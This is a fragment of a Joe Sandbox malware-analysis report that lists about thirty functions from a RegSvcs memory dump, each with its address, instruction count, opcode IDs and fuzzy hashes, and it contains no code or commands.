                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: bcfb52f1e4b99485f3202cf6908f239ab07d5ccdbef197c84815b67c6e698c75
                                                                • Instruction ID: 256e0fc1dac49e3f2f49b7b79593d3f647d1cdd1e3861298abc7c915d297fd13
                                                                • Opcode Fuzzy Hash: bcfb52f1e4b99485f3202cf6908f239ab07d5ccdbef197c84815b67c6e698c75
                                                                • Instruction Fuzzy Hash: F8313C75B001149FCB44DF69D498A9DBBF2BF8C320F29809AE906EB362CA749C41CB51
                                                                Function 00FD1C68 Relevance: .1, Instructions: 89COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b4c0c6aeec1fb869c457b9ae020a1b94e00f610ddb3b367b515651235de5eaf6
                                                                • Instruction ID: 6effe16b6e3d844304ddd58124efb6d6819497d69abab0a682a4d19816b5ae6c
                                                                • Opcode Fuzzy Hash: b4c0c6aeec1fb869c457b9ae020a1b94e00f610ddb3b367b515651235de5eaf6
                                                                • Instruction Fuzzy Hash: 1A318431D092989FDB06DBB8D8505DEBFB2AF86310F1881ABD441AB253DA705D49CB61
                                                                Function 00FD6398 Relevance: .1, Instructions: 87COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8eca5b0d2cd9bd663ab877812f46e8a0c43f4e517ef78796ac476a5e905390be
                                                                • Instruction ID: 742943a8a4c80023cb344aa14a278d32eaa33f6288cb32b93c07bd3c6d249833
                                                                • Opcode Fuzzy Hash: 8eca5b0d2cd9bd663ab877812f46e8a0c43f4e517ef78796ac476a5e905390be
                                                                • Instruction Fuzzy Hash: D6313635A00205CFDB14EBB8C5696AD77B2AF8D714F28403AD506EB390DF399C01DBA1
                                                                Function 00FDAC4C Relevance: .1, Instructions: 87COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7f72491b5fda70dcb4716557d87c6684766c8a8e7582ff12689eada0a862fc2e
                                                                • Instruction ID: fe4368cb603671ab70ff81858347acb4c2aa0c21d724eceebb3f464a5b0b0cc8
                                                                • Opcode Fuzzy Hash: 7f72491b5fda70dcb4716557d87c6684766c8a8e7582ff12689eada0a862fc2e
                                                                • Instruction Fuzzy Hash: A2312570D012499FDB14CFA9C480AEEBFF2BF48750F28806AE809AB354DB749941DF91
                                                                Function 00FD9AF9 Relevance: .1, Instructions: 85COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a705aea95563fa1446bdb9497ecc1914cb78c14f1bb4da8c24ccd74f4ce24358
                                                                • Instruction ID: dd92d51c7408fc734acc6eb67401764fca198b96fffc27677741a973bb4f27f7
                                                                • Opcode Fuzzy Hash: a705aea95563fa1446bdb9497ecc1914cb78c14f1bb4da8c24ccd74f4ce24358
                                                                • Instruction Fuzzy Hash: F1319130F102158FCB14ABB9E891AAE76F7AF8D304F14442ED402AB365DF799C06DB90
                                                                Function 00FDAC58 Relevance: .1, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4129becbd641bfe1b938d3ca64542dca026ef892d94d2b7e6d4b94f504dac38e
                                                                • Instruction ID: de9aa4234c4ba4f1eea607bc37e52f8985076afefa8b4c2b33936dc2bf943fb4
                                                                • Opcode Fuzzy Hash: 4129becbd641bfe1b938d3ca64542dca026ef892d94d2b7e6d4b94f504dac38e
                                                                • Instruction Fuzzy Hash: 92314670D012499FDB14CFA9C480ADEBFF6BF48750F28802AE909AB354DB749941DF91
                                                                Function 00FDD8C8 Relevance: .1, Instructions: 81COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f932c00a98b5f354ecff1193852eac04a8f27f15e10503535b4b0bd30345973a
                                                                • Instruction ID: b1236a1dc697199c917b9667175c837a56ce93b664147ead8165e790f3c64274
                                                                • Opcode Fuzzy Hash: f932c00a98b5f354ecff1193852eac04a8f27f15e10503535b4b0bd30345973a
                                                                • Instruction Fuzzy Hash: 1A31D271A002458FDB25DF68C950A9EBBF2FF88350B24466ED499EB394DB31AD04CF91
                                                                Function 00FD9B08 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0321281f953f028cf50970254ccb14bba9b66be983c0de60f114681c0d380483
                                                                • Instruction ID: ece40abca25c5839620fb514e732771a09f8f830f804db7dcd01abb6764aa139
                                                                • Opcode Fuzzy Hash: 0321281f953f028cf50970254ccb14bba9b66be983c0de60f114681c0d380483
                                                                • Instruction Fuzzy Hash: 76217F30F10219DBCB18ABB9E8516AE76F7AF88714F14442ED402AB355DF759C06DB90
                                                                Function 00FDCE10 Relevance: .1, Instructions: 79COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b2a8dc42b6e1070ce0a92871aa68a1e30e1a0e48665cfea3d3123249056f7c5a
                                                                • Instruction ID: b7b6eaf42f50b41631ae57dfa3a7da1b8f5185dbec6e999faac07e7ea5ba6c51
                                                                • Opcode Fuzzy Hash: b2a8dc42b6e1070ce0a92871aa68a1e30e1a0e48665cfea3d3123249056f7c5a
                                                                • Instruction Fuzzy Hash: 1F211975B102059FCB09EB78C851AADB7F7AB8C710B2900AAE506E7365DA31AC01DB94
                                                                Function 00FD6389 Relevance: .1, Instructions: 78COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 33502cf61cfb3903107206a780f4cb66b76cf44425724f10d258dc2356530a9e
                                                                • Instruction ID: 0af9cd9a53c76451661f754d369dafbea564e49ebdcca912dfdd9828dd86201a
                                                                • Opcode Fuzzy Hash: 33502cf61cfb3903107206a780f4cb66b76cf44425724f10d258dc2356530a9e
                                                                • Instruction Fuzzy Hash: 04314A75E00215CFCB14EB78C465AAD77F2AF8D714B14413AD505EB391DB399C02DB90
                                                                Function 00FD5D88 Relevance: .1, Instructions: 78COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fdffb932c23f48e2c808f75f94c5091d0f860210b534abe33a5ee641058ed5da
                                                                • Instruction ID: 23f303889ea81f7bd45e89cf2db8d7141ba99c4edb17345feca3177485238871
                                                                • Opcode Fuzzy Hash: fdffb932c23f48e2c808f75f94c5091d0f860210b534abe33a5ee641058ed5da
                                                                • Instruction Fuzzy Hash: 8521C071F002099FDB04ABFD881936EBEEAEFC9700B24442ED20AD7346DD748C0247A1
                                                                Function 00FDAEE8 Relevance: .1, Instructions: 78COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c899d18722705160a32a17b81f4040f477f16fb7fd990aa194f0f04d6dd49e78
                                                                • Instruction ID: 5585b025e3e8b84181fca92d847af256d2bc1b02017e2cf2c4da11c8822d5996
                                                                • Opcode Fuzzy Hash: c899d18722705160a32a17b81f4040f477f16fb7fd990aa194f0f04d6dd49e78
                                                                • Instruction Fuzzy Hash: 122190B2E002489FCF15DF64D8809DEBBF2AF89360F1885AAD445BB341DB31AD45CB91
                                                                Function 00FDAEF8 Relevance: .1, Instructions: 77COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f2a3ce7a80841837ae486372c736e170bd9ea871006fff7cd610d395e9093c68
                                                                • Instruction ID: 412d5b146bef7df0750d68f969c9d52a1e4a5591d378016e922c112db888533f
                                                                • Opcode Fuzzy Hash: f2a3ce7a80841837ae486372c736e170bd9ea871006fff7cd610d395e9093c68
                                                                • Instruction Fuzzy Hash: 5021AF71E002489FCF15DF64D8409DEBBF6AF88360F18856AE846BB341DB30AD45CB91
                                                                Function 00FD56B7 Relevance: .1, Instructions: 77COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7e7f61694518206d9d8609aa6b7d80f88efdcf6ea43b639dec88a622a6395b62
                                                                • Instruction ID: 5b3995a6fd26232d6cdc75407cedbdd8f4fc913244f87150476234ad572b2cee
                                                                • Opcode Fuzzy Hash: 7e7f61694518206d9d8609aa6b7d80f88efdcf6ea43b639dec88a622a6395b62
                                                                • Instruction Fuzzy Hash: 6E31C331A017998FDB25CF29C840ADEBBF2BF89710B28465ED496AB751D730A805CF60
                                                                Function 00FD8770 Relevance: .1, Instructions: 76COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c2cc9757db35237d087f7b7f1ce91d2a7ad50cd89d27eae44077eda7ea0ba7b9
                                                                • Instruction ID: 6df69c42738cf218b950da67c1a6adad4a5332f6d32f516b3c4b5a1e509d301a
                                                                • Opcode Fuzzy Hash: c2cc9757db35237d087f7b7f1ce91d2a7ad50cd89d27eae44077eda7ea0ba7b9
                                                                • Instruction Fuzzy Hash: 4E2180718083898FDB128BA9C4447DEBFF1EF4A324F19409BC584AB352D6786806CBA1
                                                                Function 00FDC940 Relevance: .1, Instructions: 74COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7d3a462b378c3caf303706acdc7ed6afa6b2f6cac0ae757501510eb9509033be
                                                                • Instruction ID: ee8fe7e8684e7a8ee70867d3b71584dc7159cb4a4d99576d75d2b4ff47d0ae5d
                                                                • Opcode Fuzzy Hash: 7d3a462b378c3caf303706acdc7ed6afa6b2f6cac0ae757501510eb9509033be
                                                                • Instruction Fuzzy Hash: 1A21C272D0064E9BCF119BB4C8554EEBBB2DF95320F194A26D50277250EF70294BDBA1
                                                                Function 00FD1CA8 Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a2681e2e891bcc6602ead1ca254ad0301265d7acedacbc86194da8492931e7ba
                                                                • Instruction ID: 57c9702de7e53d5cd79c7efad03eb78bfad0a19d75bf888f1a7535ccfdb870ac
                                                                • Opcode Fuzzy Hash: a2681e2e891bcc6602ead1ca254ad0301265d7acedacbc86194da8492931e7ba
                                                                • Instruction Fuzzy Hash: 2E217C31E05248AFCF15DBB5D9809DEBBF6AF89310F148566E402BB342DA306D048B61
                                                                Function 00FD5D98 Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ccb6ede427f8cbe1c89e7e1b2dd444970731fde64b320a52e19523c5b1839267
                                                                • Instruction ID: 7ca38dbb364f56202126e08e4896d72f1f371d38bcc422099c2762dc36c54f7d
                                                                • Opcode Fuzzy Hash: ccb6ede427f8cbe1c89e7e1b2dd444970731fde64b320a52e19523c5b1839267
                                                                • Instruction Fuzzy Hash: 1D114F71B002199FDB44ABFD881936EBAEAEBC9750B20442EE50AD7346DE748D0247A1
                                                                Function 00FD9DC0 Relevance: .1, Instructions: 70COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 79759c07339a7ab5319c897c32ddd7c79720f7cbcc2f9f64b7c8af7fbd9e0212
                                                                • Instruction ID: 98e0ce423517d8ab82495458328281bc17d630e8dfc97ad83c7672b2f522ee0d
                                                                • Opcode Fuzzy Hash: 79759c07339a7ab5319c897c32ddd7c79720f7cbcc2f9f64b7c8af7fbd9e0212
                                                                • Instruction Fuzzy Hash: 7321B571A047558FCB25CF65C840A9EB7F2FF88310F148A5ED496A7761C734AC45CBA0
                                                                Function 00FDD8BA Relevance: .1, Instructions: 64COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 555a63c32a10e2a8a1021d7d52c8f1a0bd3716845a1db904c0195b010d4e8af4
                                                                • Instruction ID: ee67d0c4be5aed3da25586e2faa2213aa7b6404bd021732a12a88df7f96c0b33
                                                                • Opcode Fuzzy Hash: 555a63c32a10e2a8a1021d7d52c8f1a0bd3716845a1db904c0195b010d4e8af4
                                                                • Instruction Fuzzy Hash: E921D272A002448FCB16DF68D8905DEBBF2EF98350B1845AED545E7345DB31AD05CF91
                                                                Function 00FD4BD2 Relevance: .1, Instructions: 64COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4603d888cec519073dcfe3b5ea445dbf5cd583798099adaf40b4496bf4556ef2
                                                                • Instruction ID: 7d5dfae87339f546b1519ca9caaaab80f05f4b9625c5fd9cc27bbb3d94d5a113
                                                                • Opcode Fuzzy Hash: 4603d888cec519073dcfe3b5ea445dbf5cd583798099adaf40b4496bf4556ef2
                                                                • Instruction Fuzzy Hash: 4211B211A1E3D10FC722A328099056ABFE29F96210B5D89DFD1D4CB6A7C129AC46D352
                                                                Function 00FD281F Relevance: .1, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4a2800d86f16172a17928f0d66828b9d4572148fd7008ec99e6cbc28011c41d6
                                                                • Instruction ID: 3d3371c3a85372efd5016d7583891930a82d0f78a5a8f0e359eb9b5b66ceea5b
                                                                • Opcode Fuzzy Hash: 4a2800d86f16172a17928f0d66828b9d4572148fd7008ec99e6cbc28011c41d6
                                                                • Instruction Fuzzy Hash: 44118F75E002488FDB05CF59C6849DEBBF2EB9D320F1880AAE505BB361D7319D49DBA0
                                                                Function 00FD1DC0 Relevance: .1, Instructions: 56COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 885126befe4a51e81f95075d319b3c17b720428f7de1945662c79a0dd4c5a8b6
                                                                • Instruction ID: 58773f843d0c95453578bf70e53bb4cb80f1796373114406a19304024260f8ff
                                                                • Opcode Fuzzy Hash: 885126befe4a51e81f95075d319b3c17b720428f7de1945662c79a0dd4c5a8b6
                                                                • Instruction Fuzzy Hash: 9811C131D0124E9FCF00CFA9D8805DDFBB2EF99320F24462AE814B7251E7702A4ACB50
                                                                Function 00FDA6D1 Relevance: .1, Instructions: 54COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3dd2b7b04b3af9536674f940cdb5198c048db1fa8c192f66b101916e7a27c956
                                                                • Instruction ID: 26d12c48cacd37bf2616229c3dde50e31284951376e8f585215e4d42d2843a22
                                                                • Opcode Fuzzy Hash: 3dd2b7b04b3af9536674f940cdb5198c048db1fa8c192f66b101916e7a27c956
                                                                • Instruction Fuzzy Hash: 50119A72E0020D9BCB01CFA9D8804DDFBF2EF99310F21862AD515B7391EBB0690A8B50
                                                                Function 00FD20C8 Relevance: .1, Instructions: 52COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 94e2aa505edac273c95063a8b022080932c7ef93761f937777d171572a5c5596
                                                                • Instruction ID: c958bae22f9a2aec89e36de11779d64cc3b7b79f49bcbd97544c17388f821338
                                                                • Opcode Fuzzy Hash: 94e2aa505edac273c95063a8b022080932c7ef93761f937777d171572a5c5596
                                                                • Instruction Fuzzy Hash: 06117932E1065D8BCF11CFA9D8804CDFBB2FF9D310F61422AD105B7291E6B0294A8BA0
                                                                Function 00FD2704 Relevance: .1, Instructions: 52COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 01d8620a11b641802c20ec1d4a82e6abfb68eb00203b9010cc77053e2369a094
                                                                • Instruction ID: 6c103fada31c47c8ac792984eacd62efe19b5edb00f098a6dc965661293c8ace
                                                                • Opcode Fuzzy Hash: 01d8620a11b641802c20ec1d4a82e6abfb68eb00203b9010cc77053e2369a094
                                                                • Instruction Fuzzy Hash: 7A11E532D0878A8FCF128BB9CC500DDBF719FDA300F158657C511BB192EA741549C761
                                                                Function 00FD3B3B Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3c72a5859c487f0e2641c1b7179b6766712859d9f7aa71a558482e53f80d5f6d
                                                                • Instruction ID: 103dd1d8e121cd77873c3b6bf9e598e61f5710db49701568f8d655c61a97135e
                                                                • Opcode Fuzzy Hash: 3c72a5859c487f0e2641c1b7179b6766712859d9f7aa71a558482e53f80d5f6d
                                                                • Instruction Fuzzy Hash: 5211A132D0578A9BCF01CBA9D8800DDFBB2EF9A310F654766D10077192E774294AC761
                                                                Function 00FD1DD0 Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d08d09812a45b8907e11105a55842aef006d385fd9415db9f1f4af0c0d564efb
                                                                • Instruction ID: 0f49d73b0db062af0a44a6e1b804eb755cf1b7150d12e2a88cdd7ad6c0efc006
                                                                • Opcode Fuzzy Hash: d08d09812a45b8907e11105a55842aef006d385fd9415db9f1f4af0c0d564efb
                                                                • Instruction Fuzzy Hash: 3E115231D1060E9BCF00DFA9D9805DDFBB6EF99320F614616E514B7250E7706A4ACB50
                                                                Function 00FDC562 Relevance: .1, Instructions: 51COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0648292d6c1523c10ec139a8d9d1b3fd0b023fa4786991acfa3610552141bd35
                                                                • Instruction ID: dc3528e1ac792e3a34a5898e0bcde2c03307ab9235a0f18fd4134b6ede7e2207
                                                                • Opcode Fuzzy Hash: 0648292d6c1523c10ec139a8d9d1b3fd0b023fa4786991acfa3610552141bd35
                                                                • Instruction Fuzzy Hash: F701AD33D016199BCF11DBA8EC004DCFB72EFDA320F554726E511771A0EA702559CBA1
                                                                Function 00FD2B01 Relevance: .0, Instructions: 50COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: aaf83dd00c37cd768699b005e74ca5e557e768cc13f39e9be8922fce73e827f8
                                                                • Instruction ID: 452b95b38614bf00dab53b1d1b293b53fb93a732989ae3f1189dd12022a03a07
                                                                • Opcode Fuzzy Hash: aaf83dd00c37cd768699b005e74ca5e557e768cc13f39e9be8922fce73e827f8
                                                                • Instruction Fuzzy Hash: 5001C032E0164ECBCF10CBA9DC804DDFBB2EFD9310F654226D11577291EA70290ACB50
                                                                Function 00FDA6E0 Relevance: .0, Instructions: 50COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 434b0500dbacba8111c074eed462c7c42678dfdb6295d20d7367cf468342d6aa
                                                                • Instruction ID: 3b9ed13a130945f9591bf2fe6cb324d14e79066ffa8d85d68c6d56fb6dbc06fb
                                                                • Opcode Fuzzy Hash: 434b0500dbacba8111c074eed462c7c42678dfdb6295d20d7367cf468342d6aa
                                                                • Instruction Fuzzy Hash: 88115E32E1060D9BCB01DFA9D8404CDFBF6EF89310F118626D515B7250EBB069468BA0
                                                                Function 00FDBF20 Relevance: .0, Instructions: 49COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 188522ff3f472461fbcccb17f94d7aad1c7e9058c28207a14b3ea18067ad91f3
                                                                • Instruction ID: 2ae4aae297f6713490073858306c2ee0b96c4e506d69529ca3c2bb1c9073aba6
                                                                • Opcode Fuzzy Hash: 188522ff3f472461fbcccb17f94d7aad1c7e9058c28207a14b3ea18067ad91f3
                                                                • Instruction Fuzzy Hash: 5E01CC32D046899BCF028FB9D8804CDFFB2EF8A310F1A0B6AD10177151E7B0284ACB60
                                                                Function 00FD55A9 Relevance: .0, Instructions: 48COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
